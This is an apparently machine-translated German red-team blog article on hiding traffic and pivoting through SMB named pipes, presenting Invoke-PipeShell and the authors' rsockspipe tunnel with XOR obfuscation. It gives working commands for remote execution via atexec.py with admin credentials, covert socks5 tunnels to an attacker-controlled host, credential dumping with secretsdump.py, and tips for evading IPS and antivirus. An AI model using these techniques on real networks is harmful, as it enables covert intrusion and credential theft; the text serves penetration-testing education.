Es ist kein Geheimnis, dass Unternehmens-IPS immer intelligenter wird. Jetzt werden Sie niemanden mit IPS mit SSL-Mitm am Rand des Netzwerks oder sogar innerhalb des Unternehmensnetzwerks zwischen den Segmenten überraschen. Gleichzeitig tauchten neben dem bekannten IPS verschiedene EDR-Lösungen auf und verbreiteten sich, die sich bereits direkt auf den Hosts befinden und die hergestellten Verbindungen überwachen. In dieser Hinsicht wird es für einen anständigen RedTeam-Spezialisten von Tag zu Tag schwieriger, sich vor dem allgegenwärtigen BlueTeam-Look zu verstecken. Wir müssen in meiner harten Arbeit erfinderischer werden.
Eine der Lösungen zur Verschleierung unserer „nützlicheren destruktiven Aktionen“ (c) in Unternehmensnetzwerken könnte die Verwendung der SMB- oder RDP-Protokolle sein. Sie können sich in ihnen verstecken und sich als legitimer Verkehr tarnen. Dies ist nicht besonders neu und die Maskentechnik innerhalb von SMB wird seit der Zeit der berühmten APT-Unternehmen Duqu und Sauron verwendet. Dort verwendeten die Jungs auch das SMB-Protokoll, um mit großem Erfolg Steuerbefehle an ihre Agenten zu übertragen. Danach wurde die Technik von den Entwicklern von Metasploit und Cobalt Strike übernommen.
In diesem Artikel werden Optionen für die Verwendung des SMB-Protokolls zum Schwenken in Betracht gezogen, RDP jedoch für später belassen.
Wir verwenden SMB
Lassen Sie uns sehen, was an der Verwendung von SMB zum Schwenken so großartig ist.
Erstens ist es weit verbreitet. SMB ist fast das native Microsoft-Protokoll, und in Unternehmensnetzwerken mit Windows wird es überall und häufig verwendet. Hier Sie und DFS und verschiedene Updates und Drucker und vieles, vieles von allem. Sehr bequem.
Zwar begannen sie außerhalb des Unternehmensnetzwerks und vor allem innerhalb des 445. TCP-Ports von außen, Firewalls zu schließen. Der Grund dafür sind die häufigen Fälle von Phishing und Weiterleitung über Links wie file: // xxxx, \\ xxxx \ usw. Und vergessen wir natürlich nicht WannaCry, das viele Organisationen dazu zwang, den hervorstehenden Hafen zu schließen.
Zweitens sind in modernen Systemen wie Win10 / Win2016 und höher die im SMB-Protokoll übertragenen Informationen, genauer gesagt, SMB3 bereits standardmäßig verschlüsselt. Das heißt, Wenn Sie Ihren Lieblingssplit innerhalb von SMB übertragen, können Sie sicher sein, dass IPS von Unternehmen dies nicht bemerkt (danke Micosoft dafür!).
Drittens bietet das SMB-Protokoll einen praktischen Mechanismus für die sogenannten Pipes (SMB-Pipes) - dies sind eigentlich die gleichen Pipes, die nur über das Netzwerk verfügbar sind. Eine Zeile wie \\ 192.168.1.10 \ pipe \ atsvc ist beispielsweise eine Service-Pipe für geplante Aufgaben. Atexec aus dem Impacket-Framework arbeitet nur damit, um Aufgaben zum Ausführen von Befehlen in Windows zu erstellen.
Sie können alle offenen Pipes auf Ihrem System mit dem Dienstprogramm von Sysinternals anzeigen: pipelist.exe (pipelist64.exe) oder über dieselbe Powershell:
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
Eintauchen
Lassen Sie uns sehen, wie wir SMB-Pipes für unsere „nützlicheren destruktiven Aktionen“ verwenden können.
Wir möchten Rohre für die verdeckte Kommunikation mit unserer Team-Shell verwenden.
Unter dem Strich führen wir unseren Agenten oder unsere Shell auf dem Zielcomputer aus und kommunizieren über das SMB-Protokoll mit ihm.
Im Metasplit gibt es beispielsweise spezielle Paylodes für die Arbeit mit Pipes:
meterpreter_bind_named_pipe
bind_named_pipe
Mit ihrer Hilfe können Sie Ihren Listener (egal ob es sich um einen Meterpreter oder eine gewöhnliche Befehlsshell handelt) einfach an eine Named Pipe "hängen" und ihn so vor den wachsamen Augen des Sicherheitsadministrators verstecken. Aber natürlich wissen wir alle genau, dass es völlig unsicher ist, MSF-Peylods während des Pentest / Redtime-Kampfes zu verwenden, und echte Labour-Hacker verwenden benutzerdefinierte Tools, wie sie sagen - weg von der Sünde ...
Eine Alternative zu msf als Befehlsshell könnte unser guter alter Assistent sein - Powershell. Im Netzwerk gibt es viele Beispiele für die Verwendung von Pipes als Kanal für die Kommunikation mit C2.
Eines davon ist das Invoke-PipeShell-Dienstprogramm des Threatexpress-Teams. Es arbeitet im Server-Client-Modus und verschlüsselt den gesamten Datenverkehr mit einem 256-Bit-AES-Schlüssel.
Auf dem Server laufen wir:
Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30
Führen Sie auf dem Client Folgendes aus:
Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000
Natürlich muss unser Client auf dem Server autorisiert sein. Vergessen Sie also nicht, zuerst zu autorisieren:
net use \\targetserver.domain.com\IPC$ /user:admin Password1
Nach einer erfolgreichen Verbindung erhalten wir eine vollständige Powershell-Konsole. Alle Details zur Arbeit mit diesem Tool sowie der Code selbst können abgerufen werden.
Gut. Das scheint verständlich zu sein. Lassen Sie uns nun darüber nachdenken, wie wir über SMB-Pipes innerhalb des Zielnetzwerks schwenken können. Zum Beispiel, wenn nur der 445. Port am Netzwerkperimeter offen ist (und es passiert ...) oder die Verbindungen zur Außenseite unseres Tunnels über SSL von einer Unternehmensfirewall gnadenlos blockiert werden, aber aus irgendeinem Grund vergessen haben, das SMB-Protokoll zu schließen. In diesem Fall müssen wir einen vollwertigen TCP-Tunnel innerhalb der Pipe weiterleiten, damit wir mit den internen Ressourcen des Zielnetzwerks arbeiten können. Das erste, was mir in den Sinn kommt, ist der gleiche Meterpreter, der über Pipes inszeniert wird. Er weiß, wie man es perfekt macht. Wir werden die Details hier nicht berücksichtigen, weil hier ist alles standard und nach handbuch. Interessenten können die Anweisungen für Metasploit lesen oder die Kurzversion
hier lesen.
Die Nachteile von meterpreter haben wir bereits oben erwähnt. Lassen Sie uns also sehen, was wir sonst noch zum Schwenken durch Rohre haben ...
Nach einem kurzen Googeln zum Thema Tunnelbau durch Rohre wurden neben Meterpreter nur
Cobalt Strike und die Entwicklung von
DxFlatLine gefunden .
Die erste Option wird zum einen bezahlt und zum anderen hat sie dieselben Nachteile wie der Meterpreter.
Die zweite Option wird als PoC ausgeführt. Sie funktioniert nur im Single-Thread-Modus und ermöglicht das Tunneln nur einer Verbindung. Das heißt, Sie können davon ausgehen, dass dies auch keine Option für die ständige Verwendung in der Praxis ist.
Und was machen?
Nachdem wir ein wenig über das Problem nachgedacht hatten, entschieden wir uns ... Warum passen wir unsere vorherige Rsockstun-Entwicklung, über die wir bereits
geschrieben haben , nicht an die Arbeit mit Rohren an? Darüber hinaus können Sie dies dank der Anwendungsarchitektur problemlos tun. Anstatt eine Verbindung über TCP herzustellen, verwenden wir eine Verbindung über SMB. Es vereinfacht sogar die Arbeit des Dienstprogramms: Sie müssen sich keine Gedanken über SSL, die Verbindung über einen Proxyserver usw. machen. Wir lassen nur die Option mit der anfänglichen Client-Autorisierung auf dem Server mit einem Kennwort, weil Pipes sind eine öffentliche Einrichtung, und dementsprechend kann nicht nur unser Tunnel, sondern auch andere Software, auch aus der Ferne, sie lesen und darauf schreiben.
Zugriffsrechte auf Pipes sowie das Scannen und Aufzählen von Pipes auf einem Remotecomputer sind ein separates Diskussionsthema. Wer möchte, kann es am Beispiel des Metasploit der Module scanner / smb / pipe_auditor und scanner / smb / pipe_rpc_auditor studieren.
Um mit Pipes von Go zu arbeiten, verwenden wir die
npipe- Bibliothek
Es wurde für eine lange Zeit gemacht und hat sich in verschiedenen Projekten bewährt. Das Durcharbeiten dieser Bibliothek unterscheidet sich nicht grundlegend vom Durcharbeiten von Standard-Net-Mechanismen: Die gleichen Funktionen sind net.Dial, net.Listen, net.Accept.
Um wie beim letzten Mal mehrere Verbindungen innerhalb einer Pipe zu multiplexen, verwenden wir den Yamux-Multiplexer und socks5 - einen Proxyserver. Weitere Informationen zur Notwendigkeit des Multiplexens in TCP und Yamux selbst finden Sie in unserem letzten
Artikel über rsockstun.
Ein weiterer Unterschied und eine Verfeinerung der Version mit Pipes im Vergleich zu rsockstun besteht darin, dass jetzt Yamux-Server und dementsprechend Socks5-Proxy an beiden Enden des Tunnels gestartet werden können (allerdings nicht gleichzeitig, sondern entweder dort oder dort). Dies geschieht, damit der Tunnel sowohl extern in das Zielnetzwerk eingebaut werden kann als auch umgekehrt ...
Und jetzt wie immer - die Nuancen
Abbildung 1 - Speichern Sie den Tunnelbetriebsverkehr unter Windows 7

Abbildung 1 zeigt, wie der Betrieb unseres Tunnels aussehen wird, wenn mindestens eines seiner Enden unter Windows 7 ausgeführt wird. Hier ist die rote Zone die Stufe der Autorisierung, grün die Öffnung der Leitung und blau die direkte Übertragung von Informationen. Es ist auch darauf zu achten, dass das SMBv2-Protokoll verwendet wird. In der Tat bedeutet dies, dass alles, was wir innerhalb des Tunnels übertragen, im Klartext sichtbar ist:

Im Gegensatz zu Win7 verwendet Windows10 die Datenverschlüsselung innerhalb des SMB3-Protokolls:

Wie wir sehen, werden weder der Name der Leitung noch die Daten innerhalb des Tunnels im Klartext übertragen.
Mit dem Standard-Powershell-Cmdlet Get-SmbServerConfiguration können Sie überprüfen, ob die Verschlüsselung auf Ihrem SMB3-System funktioniert

Und wenn die Verschlüsselung deaktiviert ist, ist es genauso einfach, sie zu aktivieren:

Wir können jedoch nicht immer sicher sein, dass die Verschlüsselung in SMB standardmäßig aktiviert ist, und das Aktivieren auf einem fremden Server oder Netzwerk ist keine gute Idee ...
In diesem Zusammenhang müssen wir in unserem Tunnel einen Modus bereitstellen, der die Verschlüsselung des Datenverkehrs in unserem Tunnel ermöglicht. Darüber hinaus haben wir nicht die Aufgabe, zuverlässig zu verschlüsseln, sodass sie nur auf dem NSA-Supercomputer entschlüsseln können, sondern nur die Verkehrssignaturen im Tunnel vor IPS verbergen. In dieser Hinsicht werden wir ein einfaches XOR mit einem kleinen Schlüssel verwenden, um unseren Verkehr zu maskieren, wodurch wir Prozessorressourcen sparen und die Übertragungsgeschwindigkeit praktisch nicht beeinflussen können.
Um keine zusätzliche Netzwerkschicht zu erstellen, die für die Verschlüsselung des Datenverkehrs verantwortlich ist, fügen wir die Funktionalität direkt dem yamux-Modul hinzu, das für die Übertragung der Nutzdaten verantwortlich ist (stream.go-Modul und Lese- und Schreibfunktionen):
func xoring(istr *[]byte, key string){ for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]} }
Nach dem Vornehmen der Änderungen ist unsere GET-Anfrage im Verkehr nicht so deutlich sichtbar:

Eins, zwei, drei ... Start!
Insgesamt werden die Startoptionen und dementsprechend die Anwendung unseres Tunnels wie folgt sein:
Option 1. Stellen Sie von außen eine Verbindung zum Netzwerk her und leiten Sie die Socks5-Verbindung weiter. Zum Beispiel, wenn der 445. Hafen hervorsteht und wir die Darlehen für die Verbindung kennen:
Starten Sie auf dem internen Server über eine SMB-Verbindung und das Dienstprogramm impacket den Teil rsockpipe server:
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234"
Führen Sie auf dem externen (von uns kontrollierten) Windows-Computer den Client-Teil von rsockspipe aus und verwenden Sie ihn nach dem Herstellen der Verbindung als socks5-Proxy:
rsockspipe.exe -connect xxxx\rsockspipename -socks yyyy:1080 -pass Pass-word1234 proxychains secretsdump.py admin:Passw0rd@yy1.10
Option 2. Verbindung von innen nach außen über das SMB-Protokoll. Wenn ausgehende Verbindungen von allen Webprotokollen streng überwacht werden und Administratoren aus irgendeinem Grund SMB vergessen haben ...
Führen Sie auf einem externen (von uns kontrollierten) Windows-Computer (IP: JJJJ) den Client-Teil von rsockspipe aus und warten Sie, bis die Clients eine Verbindung hergestellt haben:
rsockspipe.exe -listen .\rsockspipename -socks yyyy:1080 -pass Password1234
Führen Sie auf dem Server im Zielnetzwerk den Client-Teil aus (auch über Impacket):
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect YYYY\rsockspipename -pass Password1234"
Nach einer erfolgreichen Verbindung können wir unseren Server als soscks5 verwenden:
proxychains secretsdump.py admin:Passw0rd@yy1.10
Hier gibt es einen Punkt, insbesondere bei der zweiten Option. Denken Sie daran, wir haben gesagt, dass wir für eine erfolgreiche Verbindung mit der Pipe auf der Serverseite autorisiert sein müssen, d. H. Bevor wir den Tunnel starten, müssen wir die Autorisierung durchlaufen. Sie können es so machen:
net use \\yyyy\ipc$ /user:<usrname> <Password1>
Also ... Im zweiten Anwendungsfall wird der Befehl net use auf dem Zielcomputer ausgeführt. Dies bedeutet, dass auf dem Zielcomputer (im Speicher des lsass-Prozesses) noch Credits von Ihrem Windows-Computer vorhanden sind. Und wenn sie Admin sind (in der Regel arbeiten alle unerfahrenen Hacker vom Admin aus ...), kann dies zu "Rückgrüßen" von BlueTeam führen ... Im Allgemeinen denken Sie, wenn Sie etwas tun ...
Anstelle einer Schlussfolgerung
Im Allgemeinen erwies sich der Tunnel als ziemlich gut ... Hauptsache, er ist für den aktiven Gebrauch bereit.
Der Quellcode sowie bereits kompilierte Binärdateien für x86 und x64 befinden sich auf unserem
GitUnd eine kleine Ergänzung. Vor kurzem stellten sie fest, dass die im Win-GUI-Modus kompilierte Golang-Software (Kompilierung im Modus: go build -ldflags = "- H windowsgui") von einigen Antivirenlösungen (KAV, SEP14) sehr ausgelöst wurde. Es kommt schon zum Lächerlichen - "Hello World", das im GUI-Modus kompiliert wurde, wird als Malware erkannt. Anscheinend liegt dies daran, dass Golang dennoch zu einem bevorzugten Werkzeug der Malware geworden ist. Unser Rat ist also, das Projekt im Standard-Konsolenmodus zu kompilieren, und mit einem schwarzen cmf-Fenster weiß ein echter Hacker, wie man damit umgeht (zum Beispiel das gleiche Problem).
PS „Nützlichere destruktive Maßnahmen“ lautet der Wortlaut von D. Samartsev, Direktor von BiZone. In diesem Fall wird das Wesentliche der Arbeit der RedTeam-Spezialisten am genauesten beschrieben.